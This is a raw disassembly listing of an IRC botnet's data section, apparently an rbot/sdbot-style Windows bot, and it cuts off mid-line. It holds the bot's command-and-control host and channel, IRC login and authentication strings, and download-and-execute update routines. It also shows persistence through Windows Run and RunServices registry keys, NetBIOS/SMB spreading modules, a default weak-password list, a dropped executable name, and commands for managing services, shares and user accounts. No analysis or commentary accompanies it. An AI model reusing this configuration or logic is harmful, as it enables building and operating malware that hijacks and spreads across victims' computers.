aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F774o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aAsn139 db 'asn139',0 align 10h db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E40o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 10h byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120EFo ; sub_40EE72+50A2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 10h aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aDb2 ; "db2" align 10h dd offset byte_436EDC dd offset byte_436EDC dd offset aAdministrato_0 ; "ADMINISTRATOR" dd offset byte_436EDC dd 0 dword_42F794 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aAdministrato_0 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F788o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F778o aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o dword_42F7C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_42F7EC dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_42F7F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 4 dword_42F86C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_42F89C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_42F8C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42F904 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 10h aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 4 asc_42F98C: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_42F990 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42F9C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 10h dword_42FA00 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_42FA3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_42FA5C db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_42FAA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_42FAF4 db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_42FB3C dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_42FB4C dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_42FB58 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_42FB64 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_42FB74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_42FBB4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_42FC04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 